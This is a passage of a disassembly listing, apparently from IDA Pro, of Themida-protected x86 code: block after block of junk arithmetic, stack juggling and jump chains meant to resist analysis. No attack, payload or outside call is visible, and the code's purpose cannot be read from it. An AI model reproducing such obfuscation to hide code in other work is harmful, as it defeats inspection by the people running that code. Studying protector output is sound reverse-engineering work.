		pop	esp
		push	edi
		mov	edi, 430B6150h
		add	edi, 0FFFFFFFFh
		push	edi
		xchg	ebp, [esp]
		jmp	loc_5A114E
; ---------------------------------------------------------------------------


loc_5A89B1:				; CODE XREF: Themida_:005A5359j
		or	ebp, 340C2D94h
		xor	ebp, 3D6A4AB6h
		add	ecx, 14350F77h
		sub	ecx, 0D961A3Bh
		sub	ecx, ebp
		add	ecx, 0D961A3Bh
		sub	ecx, 14350F77h
		pop	ebp
		jmp	loc_59A6C5
; ---------------------------------------------------------------------------


loc_5A89DD:				; CODE XREF: Themida_:005A6022j
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		jmp	loc_59E248
; ---------------------------------------------------------------------------


loc_5A89F4:				; CODE XREF: Themida_:005AB512j
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, 1F097EF7h
		add	ebp, edx
		add	ebp, 1F097EF7h
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_59BC30
; ---------------------------------------------------------------------------


loc_5A8A17:				; CODE XREF: Themida_:005A3D80j
		add	esp, 4
		neg	esi
		or	esi, 74882515h
		add	esi, 532317Ah
		xor	ecx, esi
		pop	esi
		push	esi
		jmp	loc_59B8EB
; ---------------------------------------------------------------------------


loc_5A8A34:				; CODE XREF: Themida_:005A93FEj
		inc	ebp
		jg	loc_5A77C4
		jmp	loc_5A223B
; ---------------------------------------------------------------------------
		xor	edx, 5414589Ch
		pop	eax


loc_5A8A47:				; CODE XREF: Themida_:0059ABD3j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5ADCA2
; ---------------------------------------------------------------------------


loc_5A8A63:				; CODE XREF: Themida_:005A3250j
		mov	ax, [esp]
		jmp	loc_59EA63
; ---------------------------------------------------------------------------


loc_5A8A6C:				; CODE XREF: Themida_:005A98DFj
		and	dh, 0F2h
		or	dh, 0C2h
		jp	loc_59E336
		not	dh
		jmp	loc_5AEFF4
; ---------------------------------------------------------------------------
		mov	edx, ebx
		xor	al, 40h


loc_5A8A83:				; CODE XREF: Themida_:0059FDBBj
		inc	ecx
		jnp	loc_5AF8E2
		jmp	loc_59B00B
; ---------------------------------------------------------------------------


loc_5A8A8F:				; CODE XREF: Themida_:005AB870j
		or	dword ptr [edx+38h], 43762E44h
		jnb	loc_5A849E
		shl	dword ptr [edx+38h], 5
		jmp	loc_5A256D
; ---------------------------------------------------------------------------
		push	eax
		mov	edx, edx
		push	ebp


loc_5A8AA9:				; CODE XREF: Themida_:005A2F3Fj
		jnp	loc_5A7C1A
		inc	ebp
		jg	loc_59BC65
		push	eax
		mov	eax, 1
		jmp	loc_5A098E
; ---------------------------------------------------------------------------
		pop	eax
		pop	ecx


loc_5A8AC3:				; CODE XREF: Themida_:005A53B3j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], bx
		push	edx
		mov	dl, 56h
		push	ecx
		push	ebx
		jmp	loc_5A5ABF
; ---------------------------------------------------------------------------


loc_5A8AD5:				; CODE XREF: Themida_:005AC0AFj
		push	edx
		mov	edx, 78320882h
		jmp	loc_5A0A99
; ---------------------------------------------------------------------------


loc_5A8AE0:				; CODE XREF: Themida_:005A88E7j
		pop	ebp
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AC36B
; ---------------------------------------------------------------------------


loc_5A8AF1:				; CODE XREF: Themida_:0059A22Aj
		pop	edi
		jmp	loc_5AE85E
; ---------------------------------------------------------------------------


loc_5A8AF7:				; CODE XREF: Themida_:005AF9A8j
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		add	edi, 3FD652D3h
		sub	edi, 754348DAh
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AACB8
; ---------------------------------------------------------------------------


loc_5A8B16:				; CODE XREF: Themida_:005A5525j
		mov	al, 9Eh
		dec	al
		jmp	loc_59B37B
; ---------------------------------------------------------------------------


loc_5A8B1F:				; CODE XREF: Themida_:005AA0FDj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A71E1
; ---------------------------------------------------------------------------


loc_5A8B31:				; CODE XREF: Themida_:005989F8j
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_5AB39F
; ---------------------------------------------------------------------------


loc_5A8B40:				; CODE XREF: Themida_:005AE6DDj
		jnz	loc_5AD0FA
		jmp	loc_5A8F0C
; ---------------------------------------------------------------------------
		push	edx
		push	ecx
		push	1E52883h
		pop	ecx
		push	ecx


loc_5A8B54:				; CODE XREF: Themida_:0059C248j
		or	cl, 2Bh
		xor	cl, 0CFh
		add	dl, cl
		pop	ecx
		or	ah, dl
		pop	edx
		add	ah, 0
		mov	ch, ah
		pop	eax
		or	ch, 2Ah
		shr	ch, 1
		jmp	loc_5A0409
; ---------------------------------------------------------------------------


loc_5A8B70:				; CODE XREF: Themida_:0059CEDBj
		inc	ebp
		jmp	loc_59D5E0
; ---------------------------------------------------------------------------


loc_5A8B76:				; CODE XREF: Themida_:005AAD20j
		add	esp, 4
		jmp	loc_5A74FF
; ---------------------------------------------------------------------------


loc_5A8B81:				; CODE XREF: Themida_:0059E976j
		push	ebp
		push	edi
		jmp	loc_5A3E87
; ---------------------------------------------------------------------------


loc_5A8B88:				; CODE XREF: Themida_:0059AD62j
		inc	edx
		jnz	loc_5A34BD
		shr	edx, 4
		jz	loc_5A42FE
		mov	bl, 0DAh
		push	edi


loc_5A8B9B:				; CODE XREF: Themida_:005A25F1j
		add	esp, 4
		movzx	eax, al
		jmp	loc_59F8F2
; ---------------------------------------------------------------------------


loc_5A8BA9:				; CODE XREF: Themida_:005A6D36j
		pop	ebp
		add	esp, 4


loc_5A8BB0:				; CODE XREF: Themida_:0059A393j
		push	59F7h
		mov	[esp], ecx
		push	eax
		mov	eax, 3E732A59h
		sub	eax, 330A7263h
		xor	eax, 621B3647h
		jmp	loc_5A9804
; ---------------------------------------------------------------------------


loc_5A8BCD:				; CODE XREF: Themida_:005ACCD6j
		neg	ebx
		dec	ebx
		neg	ebx
		jnb	loc_5A1C0B
		jmp	loc_59DCF2
; ---------------------------------------------------------------------------


loc_5A8BDD:				; CODE XREF: Themida_:005AF2CFj
		not	ebx
		xor	ebx, 5DCF7AC2h
		jo	loc_5A6F42
		add	ebx, 662674F9h
		xor	ebx, 0E1DB7EFDh
		push	ebx
		jmp	loc_5AAC11
; ---------------------------------------------------------------------------


loc_5A8BFD:				; CODE XREF: Themida_:005A7804j
		mov	ecx, esi
		jmp	loc_5A94ED
; ---------------------------------------------------------------------------


loc_5A8C04:				; CODE XREF: Themida_:005AE9C2j
		push	edx
		push	ecx
		mov	ecx, 23CE588Ch
		push	ebx
		mov	ebx, 10F5AA11h
		mov	edx, ebx
		pop	ebx
		add	edx, ecx
		jmp	loc_5AD527
; ---------------------------------------------------------------------------


loc_5A8C1B:				; CODE XREF: Themida_:005AEA77j
		mov	ebp, ebx
		jmp	loc_5A1FF3
; ---------------------------------------------------------------------------


loc_5A8C22:				; CODE XREF: Themida_:005A1C7Ej
					; Themida_:005A21BFj
		push	ebx
		jmp	loc_5A9107
; ---------------------------------------------------------------------------


loc_5A8C28:				; CODE XREF: Themida_:005AFDA3j
		not	esi
		xor	esi, 4CC30AEAh
		jl	loc_5ACA82
		jmp	loc_59F89E
; ---------------------------------------------------------------------------
		push	edi
		and	bh, 0D0h
		pop	edx


loc_5A8C40:				; CODE XREF: Themida_:005ADDE6j
		push	1DA0h
		mov	[esp], esi
		jmp	loc_59BFB5
; ---------------------------------------------------------------------------


loc_5A8C4D:				; CODE XREF: Themida_:005A7CA8j
					; Themida_:005AC1CFj
		or	eax, edi
		pop	edi
		shr	eax, 5
		sub	eax, 1
		xor	eax, 766B4455h
		add	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 0FE3563Fh
		add	edi, ebx
		pop	ebx
		sub	edi, 35F8666Ch
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A3719
; ---------------------------------------------------------------------------


loc_5A8C7E:				; CODE XREF: Themida_:005AD2CFj
		jbe	loc_5A1099
		add	ebp, 18D9CE2Ch
		sub	[esp+4], ebp
		mov	ebx, edi
		push	ebx


loc_5A8C91:				; CODE XREF: Themida_:0059E57Bj
		mov	ebp, 4
		jmp	loc_5A862A
; ---------------------------------------------------------------------------


loc_5A8C9B:				; CODE XREF: Themida_:005A0B1Ej
		xor	ch, 0C6h
		sub	al, 0A4h
		sub	al, ch
		add	al, 0A4h
		jmp	loc_5A0272
; ---------------------------------------------------------------------------


loc_5A8CA9:				; CODE XREF: Themida_:0059AF5Ej
		pop	esp
		mov	ebx, [esp]
		jmp	loc_5A69AE
; ---------------------------------------------------------------------------


loc_5A8CB2:				; CODE XREF: Themida_:005AF389j
		push	edi
		push	edx
		mov	edx, 2D634804h
		mov	edi, 61665F4h
		jmp	loc_5AB28F
; ---------------------------------------------------------------------------


loc_5A8CC3:				; CODE XREF: Themida_:0059AEE5j
		push	ebp
		mov	ebp, 7FB70AB4h
		sub	ebx, 676F6408h
		add	ebx, ebp
		add	ebx, 676F6408h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A737C
; ---------------------------------------------------------------------------


loc_5A8CE5:				; CODE XREF: Themida_:005A4179j
		pop	esp
		mov	[esp], ebp
		push	edx
		jmp	loc_5A59CF
; ---------------------------------------------------------------------------


loc_5A8CEF:				; CODE XREF: Themida_:loc_5A0180j
		dec	edx
		jns	loc_59B754
		sub	edx, 0FFFFFFFFh
		sub	edx, 65B9A54h
		mov	ecx, edx
		pop	edx
		mov	bl, ch
		push	edx


loc_5A8D05:				; CODE XREF: Themida_:005A327Dj
		pop	ebx
		jmp	loc_5AAF83
; ---------------------------------------------------------------------------


loc_5A8D0B:				; CODE XREF: Themida_:0059C599j
		and	edi, 4E8C53A5h
		xor	edi, 0DF6AB455h
		jmp	loc_599944
; ---------------------------------------------------------------------------


loc_5A8D1C:				; CODE XREF: Themida_:0059F608j
		add	[esp], eax
		add	dword ptr [esp], 136F2CB3h
		push	ebp
		jmp	loc_5AC950
; ---------------------------------------------------------------------------


loc_5A8D2C:				; CODE XREF: Themida_:005A1F05j
		pop	edx
		push	ebx
		jmp	loc_5AB517
; ---------------------------------------------------------------------------


loc_5A8D33:				; CODE XREF: Themida_:005A62DDj
		pop	eax
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		push	494Dh
		mov	[esp], eax
		push	4100h
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	esi
		jmp	loc_5ABDDC
; ---------------------------------------------------------------------------


loc_5A8D77:				; CODE XREF: Themida_:005A8693j
		push	ebx
		push	3EFA0F7Ch
		pop	ebx
		add	ebx, 31D579C0h
		shr	ebx, 4
		jnz	loc_5A8E0E
		not	ebx
		sub	ebx, 0F8F30768h
		jmp	loc_5A8F51
; ---------------------------------------------------------------------------


loc_5A8D9A:				; CODE XREF: Themida_:005A5F08j
		mov	ecx, [esp]
		jmp	loc_5AB85A
; ---------------------------------------------------------------------------


loc_5A8DA2:				; CODE XREF: Themida_:005A8910j
		add	eax, 7EF74A17h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A413B
; ---------------------------------------------------------------------------


loc_5A8DBD:				; CODE XREF: Themida_:0059933Bj
		jz	loc_5ACD2C
		add	bh, 0DEh
		mov	dl, bh
		jmp	loc_5AB66B
; ---------------------------------------------------------------------------


loc_5A8DCD:				; CODE XREF: Themida_:005AD6BAj
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5994E7
; ---------------------------------------------------------------------------


loc_5A8DD8:				; CODE XREF: Themida_:005AE54Bj
		jmp	loc_5A3B70
; ---------------------------------------------------------------------------


loc_5A8DDD:				; CODE XREF: Themida_:0059B49Aj
					; Themida_:005A3B6Bj
		pop	esi
		xor	edi, ecx
		jmp	loc_5A6B55
; ---------------------------------------------------------------------------


loc_5A8DE5:				; CODE XREF: Themida_:0059D756j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 471C1E27h
		sub	[esp+8], eax
		pop	eax
		sub	[esp+4], eax
		jmp	loc_5A980A
; ---------------------------------------------------------------------------


loc_5A8E0E:				; CODE XREF: Themida_:005A8D87j
		not	ebx
		sub	ebx, 0F8F30768h
		jmp	loc_5AD230
; ---------------------------------------------------------------------------


loc_5A8E1B:				; CODE XREF: Themida_:0059AF96j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_59C552
; ---------------------------------------------------------------------------


loc_5A8E27:				; CODE XREF: Themida_:005ACE28j
		pop	eax
		add	bl, al
		push	7D58h
		mov	[esp], ecx
		mov	ch, 9Bh
		push	302Ah
		mov	[esp], edx
		push	eax
		jmp	loc_598F0C
; ---------------------------------------------------------------------------


loc_5A8E42:				; CODE XREF: Themida_:005A8F64j
		xor	ebp, 4E0F5DDEh
		inc	ebp
		shr	ebp, 5
		xor	ebp, 53436D2Dh
		jo	loc_59F424
		jmp	loc_5ACBA9
; ---------------------------------------------------------------------------


loc_5A8E5D:				; CODE XREF: Themida_:0059BB99j
		mov	ecx, ebx
		pop	ebx
		pop	edx
		sub	ebp, 459C637Ch
		add	ebp, ecx
		add	ebp, 459C637Ch
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59F5D8
; ---------------------------------------------------------------------------


loc_5A8E7A:				; CODE XREF: Themida_:005ABE5Bj
		mov	esi, [esp]
		jmp	loc_5A0ED4
; ---------------------------------------------------------------------------


loc_5A8E82:				; CODE XREF: Themida_:005ADE84j
		add	edx, 58673B8Fh
		sub	edx, ecx
		push	eax
		mov	eax, 59A600B0h
		jmp	loc_59CCAD
; ---------------------------------------------------------------------------


loc_5A8E95:				; CODE XREF: Themida_:005A6152j
		pop	edx
		inc	edi
		add	edi, 0B3A40BCh
		add	edi, 51FF336Bh
		jmp	loc_5A882E
; ---------------------------------------------------------------------------


loc_5A8EA8:				; CODE XREF: Themida_:00599D96j
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_59F2AB
; ---------------------------------------------------------------------------


loc_5A8EB7:				; CODE XREF: Themida_:0059CA3Fj
		pop	eax
		jmp	loc_5ADE34
; ---------------------------------------------------------------------------


loc_5A8EBD:				; CODE XREF: Themida_:005ABE09j
		sub	edx, 47EE0FBFh
		sub	edx, 5D2B7F12h
		jl	loc_5A9358
		or	edx, 7A82E57h
		jz	loc_5A6126
		xor	al, 0BFh
		pop	ebp


loc_5A8EDE:				; CODE XREF: Themida_:005A38F4j
		pop	ecx
		xor	ecx, 420B016Eh
		push	esi
		mov	esi, 1F6D0184h
		sub	esi, 0E508E1E5h
		sub	ecx, esi
		pop	esi
		push	eax
		mov	eax, 72083861h
		not	eax
		jmp	loc_59D40D
; ---------------------------------------------------------------------------


loc_5A8F01:				; CODE XREF: Themida_:005A1CEBj
					; Themida_:005A7E8Bj ...
		sub	ebx, ebp
		pop	ebp
		add	ebx, edx
		push	ecx
		jmp	loc_5A8027
; ---------------------------------------------------------------------------


loc_5A8F0C:				; CODE XREF: Themida_:005A6BD7j
					; Themida_:005A8B46j
		xor	ebp, 0FA58E764h
		jmp	loc_5A0D61
; ---------------------------------------------------------------------------


loc_5A8F17:				; CODE XREF: Themida_:005A1D65j
		add	esp, 4
		push	eax
		push	edi
		jmp	loc_59CF62
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A8F28:				; CODE XREF: Themida_:0059A050j
		push	edx
		mov	edx, 61633E00h
		add	edx, 1AA8C577h
		jmp	loc_59B384
; ---------------------------------------------------------------------------


loc_5A8F39:				; CODE XREF: Themida_:005A460Bj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 382D4099h
		mov	ebp, 2AA03B41h
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_5A7BB1
; ---------------------------------------------------------------------------


loc_5A8F51:				; CODE XREF: Themida_:005A1F88j
					; Themida_:005A8D95j
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		neg	ebp
		jns	loc_5A01E9
		jmp	loc_5A8E42
; ---------------------------------------------------------------------------


loc_5A8F69:				; CODE XREF: Themida_:0059B4D8j
		xor	eax, 70A61772h
		sub	eax, 72EF763h
		or	edi, eax
		pop	eax
		xor	edi, 6FB826ABh
		jz	loc_5A75F9
		shr	edi, 1
		jnz	loc_5A62B7
		or	edi, 152627D7h
		shr	edi, 4
		push	eax
		mov	al, bl
		pop	ecx


loc_5A8F97:				; CODE XREF: Themida_:005AE8D8j
		add	esp, 4
		jmp	loc_5A2CBB
; ---------------------------------------------------------------------------


loc_5A8F9F:				; CODE XREF: Themida_:005A2335j
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A39F4
; ---------------------------------------------------------------------------


loc_5A8FB4:				; CODE XREF: Themida_:005ACDFEj
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	ebp, ecx
		jmp	loc_59DFF3
; ---------------------------------------------------------------------------


loc_5A8FCA:				; CODE XREF: Themida_:005A175Fj
		neg	ah
		or	ah, 31h
		push	edx
		jmp	loc_5A1F56
; ---------------------------------------------------------------------------


loc_5A8FD5:				; CODE XREF: Themida_:005A303Bj
		add	eax, 4
		jmp	loc_5AD0AA
; ---------------------------------------------------------------------------


loc_5A8FDF:				; CODE XREF: Themida_:005A2203j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 793D449Eh
		jmp	loc_59B8CA
; ---------------------------------------------------------------------------


loc_5A8FF5:				; CODE XREF: Themida_:005ADD77j
		push	cx
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A8FFD:				; CODE XREF: Themida_:005AF9FBj
		add	ecx, edi
		jmp	loc_5A131A
; ---------------------------------------------------------------------------


loc_5A9004:				; CODE XREF: Themida_:005A9184j
		sub	eax, 0A8A7B8Dh
		add	ebx, eax
		pop	eax
		jmp	loc_5A0747
; ---------------------------------------------------------------------------


loc_5A9011:				; CODE XREF: Themida_:005AD0F5j
		jmp	loc_5A0F1B
; ---------------------------------------------------------------------------


loc_5A9016:				; CODE XREF: Themida_:005A26AAj
		push	edx
		mov	edx, 530785Eh
		jmp	loc_5A2CCC
; ---------------------------------------------------------------------------


loc_5A9021:				; CODE XREF: Themida_:0059F14Aj
		mov	ebp, [esp]
		add	esp, 4
		shr	esi, 3
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A3CCC
; ---------------------------------------------------------------------------


loc_5A903E:				; CODE XREF: Themida_:0059F29Ej
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5A2B51
; ---------------------------------------------------------------------------


loc_5A904A:				; CODE XREF: Themida_:0059C5D2j
		mov	edx, 2D884913h
		jmp	loc_599936
; ---------------------------------------------------------------------------


loc_5A9054:				; CODE XREF: Themida_:00599DF2j
					; Themida_:0059CFB9j
		add	cl, 0E9h
		add	cl, dh
		sub	cl, 0E9h
		pop	edx
		dec	cl
		and	cl, 1Bh
		dec	cl
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 88h
		sub	cl, bh
		pop	bx
		add	bl, cl
		pop	ecx
		sub	bl, al
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_59E025
; ---------------------------------------------------------------------------


loc_5A908C:				; CODE XREF: Themida_:00598BF2j
					; Themida_:005A2CA2j ...
		push	eax
		mov	al, dh
		jmp	loc_5AC063
; ---------------------------------------------------------------------------


loc_5A9094:				; CODE XREF: Themida_:005A217Aj
		push	ebp
		push	0B2F08F0Ah
		pop	ebp
		add	ecx, ebp
		pop	ebp
		not	ecx
		push	ebp
		jmp	loc_5A0C82
; ---------------------------------------------------------------------------


loc_5A90A6:				; CODE XREF: Themida_:005A5A78j
					; Themida_:005AEA99j
		xor	ebx, 0F7EC166Dh
		push	ebp
		jmp	loc_5ADFE3
; ---------------------------------------------------------------------------


loc_5A90B2:				; CODE XREF: Themida_:005A95EFj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_5A21D2
; ---------------------------------------------------------------------------


loc_5A90BE:				; CODE XREF: Themida_:005ADD6Ej
		mov	ecx, edx
		jmp	loc_5AD4D9
; ---------------------------------------------------------------------------


loc_5A90C5:				; CODE XREF: Themida_:005AD5F2j
		pop	ecx
		jmp	loc_5AEFB8
; ---------------------------------------------------------------------------


loc_5A90CB:				; CODE XREF: Themida_:005A9891j
		mov	eax, 0B5E307Ch
		push	esi
		mov	esi, 5ECA6CA9h
		jmp	loc_59AFDF
; ---------------------------------------------------------------------------


loc_5A90DB:				; CODE XREF: Themida_:005A2D9Dj
		pop	edx
		sub	ecx, 571B63A7h
		sub	ecx, 66D90B6Ah
		sub	ecx, 24E81C09h
		add	ecx, edi
		add	ecx, 24E81C09h
		add	ecx, 66D90B6Ah
		add	ecx, 571B63A7h
		jmp	loc_5A91ED
; ---------------------------------------------------------------------------


loc_5A9107:				; CODE XREF: Themida_:005A8C23j
		mov	ebx, 0
		push	ebx
		jmp	loc_5AA911
; ---------------------------------------------------------------------------


loc_5A9112:				; CODE XREF: Themida_:005A8713j
		jmp	loc_5A8273
; ---------------------------------------------------------------------------


loc_5A9117:				; CODE XREF: Themida_:005A1CBCj
		pop	edx
		sub	al, bl
		sub	al, 98h
		add	al, 61h
		mov	bx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5AB43A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59BF39
; ---------------------------------------------------------------------------


loc_5A913E:				; CODE XREF: Themida_:0059BFE3j
		add	ebx, 18FE5BE2h
		add	ebx, 42430800h
		jmp	loc_5A3DA2
; ---------------------------------------------------------------------------


loc_5A914F:				; CODE XREF: Themida_:0059D56Bj
		not	edi
		push	eax
		mov	eax, 5F2A59DFh
		jmp	loc_5AEC3C
; ---------------------------------------------------------------------------


loc_5A915C:				; CODE XREF: Themida_:005A2FC9j
		xor	ebx, 14C8310Bh
		push	edi
		mov	edi, 0F7B7DADCh
		add	ebx, edi
		pop	edi
		xor	ebp, ebx
		jmp	loc_598B61
; ---------------------------------------------------------------------------


loc_5A9172:				; CODE XREF: Themida_:005A08CDj
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_5A0733
; ---------------------------------------------------------------------------


loc_5A917F:				; CODE XREF: Themida_:0059FA65j
		xor	eax, 5C651CE2h
		jmp	loc_5A9004
; ---------------------------------------------------------------------------


loc_5A9189:				; CODE XREF: Themida_:0059C2ABj
		sub	ebp, ecx
		sub	ebp, 686D676Dh
		sub	ebp, 42B62F9h
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, ebp
		pop	ebp
		add	ebx, 10B91AD4h
		jmp	loc_5A23C4
; ---------------------------------------------------------------------------


loc_5A91AF:				; DATA XREF: Themida_:00598848o
		lodsd
		push	ebp
		mov	ebp, 5B3D6BE9h
		sub	esi, 29085FE0h
		sub	esi, ebp
		add	esi, 29085FE0h
		jmp	loc_5A581F
; ---------------------------------------------------------------------------


loc_5A91C9:				; CODE XREF: Themida_:0059BA72j
		mov	ebx, 380A4211h
		shr	ebx, 1
		shr	ebx, 1
		neg	ebx
		sub	ebx, 0F1FD6F78h
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A0807
; ---------------------------------------------------------------------------


loc_5A91E8:				; CODE XREF: Themida_:005A4DCDj
		jmp	loc_5A090D
; ---------------------------------------------------------------------------


loc_5A91ED:				; CODE XREF: Themida_:loc_598C5Fj
					; Themida_:005A9102j
		pop	edi
		push	ebp
		mov	ebp, 62FA105Dh
		dec	ebp
		neg	ebp
		jmp	loc_5AD790
; ---------------------------------------------------------------------------


loc_5A91FC:				; CODE XREF: Themida_:005A99E5j
		mov	[esp], edx
		mov	edx, 5F510C7Bh
		neg	edx
		push	ecx
		mov	ecx, 28990CB5h
		sub	ecx, 796D2143h
		xor	ecx, 37D513DFh
		sub	ecx, 3D03813h
		sub	ecx, 0FC9051A6h
		jmp	loc_59E25A
; ---------------------------------------------------------------------------


loc_5A9229:				; CODE XREF: Themida_:00599F51j
		add	edi, 77A2EF1h
		sub	edi, 66B26EECh
		sub	esi, 35D90DABh
		sub	esi, edi
		add	esi, 35D90DABh
		jmp	loc_5992D6
; ---------------------------------------------------------------------------


loc_5A9248:				; CODE XREF: Themida_:005ADE47j
		mov	esi, esp
		push	ebx
		mov	ebx, 0EBB0FFAh
		dec	ebx
		jmp	loc_59BFE8
; ---------------------------------------------------------------------------


loc_5A9256:				; CODE XREF: Themida_:0059AFE5j
		or	esi, 425D1736h
		xor	esi, 7950007Dh
		xor	esi, 984E8CC9h
		sub	eax, esi
		pop	esi
		xor	ebp, eax
		pop	eax
		jmp	loc_59D5F4
; ---------------------------------------------------------------------------


loc_5A9273:				; CODE XREF: Themida_:005AF614j
		jg	loc_5ADDCD
		neg	dh
		add	dh, 6
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, dh
		mov	al, ch
		jmp	loc_5A3628
; ---------------------------------------------------------------------------


loc_5A928D:				; CODE XREF: Themida_:0059C1B6j
		neg	esi
		neg	esi
		inc	esi
		xor	esi, 5EA40B12h
		mov	ebx, esi
		pop	esi
		push	6678h
		jmp	loc_59F58C
; ---------------------------------------------------------------------------


loc_5A92A5:				; CODE XREF: Themida_:005ACC7Dj
		add	eax, 1E9F386Dh
		jmp	loc_5AEA6E
; ---------------------------------------------------------------------------


loc_5A92AF:				; CODE XREF: Themida_:005A30B6j
		mov	[esp], ebp
		push	eax
		mov	eax, 3493022Eh
		xor	eax, 764E207Dh
		jmp	loc_5AA345
; ---------------------------------------------------------------------------


loc_5A92C2:				; CODE XREF: Themida_:005AD650j
		dec	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5644343h
		jmp	loc_59E0A0
; ---------------------------------------------------------------------------


loc_5A92D3:				; CODE XREF: Themida_:005A21AEj
		push	edx
		mov	edx, 717D4321h
		shr	edx, 2
		shl	edx, 1
		sub	edx, 0ADBE098Eh
		add	ebp, edx
		pop	edx
		jmp	loc_59FEBA
; ---------------------------------------------------------------------------


loc_5A92EC:				; CODE XREF: Themida_:005A7B44j
		or	dl, 92h
		sub	dl, 0CBh
		add	al, dl
		pop	edx
		add	al, bl
		sub	al, 34h
		push	ecx
		push	ebx
		mov	bh, 0BCh
		mov	ch, 0B7h
		jmp	loc_5ACE2D
; ---------------------------------------------------------------------------


loc_5A9304:				; CODE XREF: Themida_:005A4EA0j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A2386
; ---------------------------------------------------------------------------


loc_5A9315:				; CODE XREF: Themida_:005A437Aj
		mov	eax, 4
		jmp	loc_59F76F
; ---------------------------------------------------------------------------


loc_5A931F:				; CODE XREF: Themida_:005A1410j
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_599C13
; ---------------------------------------------------------------------------


loc_5A932C:				; CODE XREF: Themida_:loc_598D19j
		xor	esi, 384FB7A8h
		neg	esi
		add	esi, 294571F3h
		inc	esi
		shl	esi, 3
		neg	esi
		jmp	loc_5A0B92
; ---------------------------------------------------------------------------


loc_5A9345:				; CODE XREF: Themida_:005A2142j
		mov	esi, 513876B0h
		xor	edi, esi
		jmp	loc_5A9ABC
; ---------------------------------------------------------------------------


loc_5A9351:				; CODE XREF: Themida_:005A7CD3j
		not	dl
		jmp	loc_598A9D
; ---------------------------------------------------------------------------


loc_5A9358:				; CODE XREF: Themida_:005A8EC9j
		or	edx, 7A82E57h
		jz	loc_5A0033
		jmp	loc_59A324
; ---------------------------------------------------------------------------


loc_5A9369:				; CODE XREF: Themida_:005A2A01j
		sub	ebx, 10180D80h
		jmp	loc_5AE66F
; ---------------------------------------------------------------------------


loc_5A9374:				; CODE XREF: Themida_:loc_5A666Fj
		jmp	loc_5A27C2
; ---------------------------------------------------------------------------


loc_5A9379:				; CODE XREF: Themida_:005A0525j
		add	dword ptr [esp+4], 20917F2Dh
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 20917F2Dh
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 2E17BD3h
		neg	edx
		sub	edx, 524C42C0h
		jmp	loc_59F3F3
; ---------------------------------------------------------------------------


loc_5A93AD:				; CODE XREF: Themida_:0059CCFCj
		xor	edi, ebp
		pop	ebp
		xor	edx, edi
		jmp	loc_5A7809
; ---------------------------------------------------------------------------


loc_5A93B7:				; CODE XREF: Themida_:0059F9A7j
		xor	edx, [esp]
		pop	esp
		jmp	loc_59F6AD
; ---------------------------------------------------------------------------


loc_5A93C0:				; CODE XREF: Themida_:005A7E38j
		push	ebx
		mov	ebx, 42460C9Bh
		jmp	loc_59966A
; ---------------------------------------------------------------------------


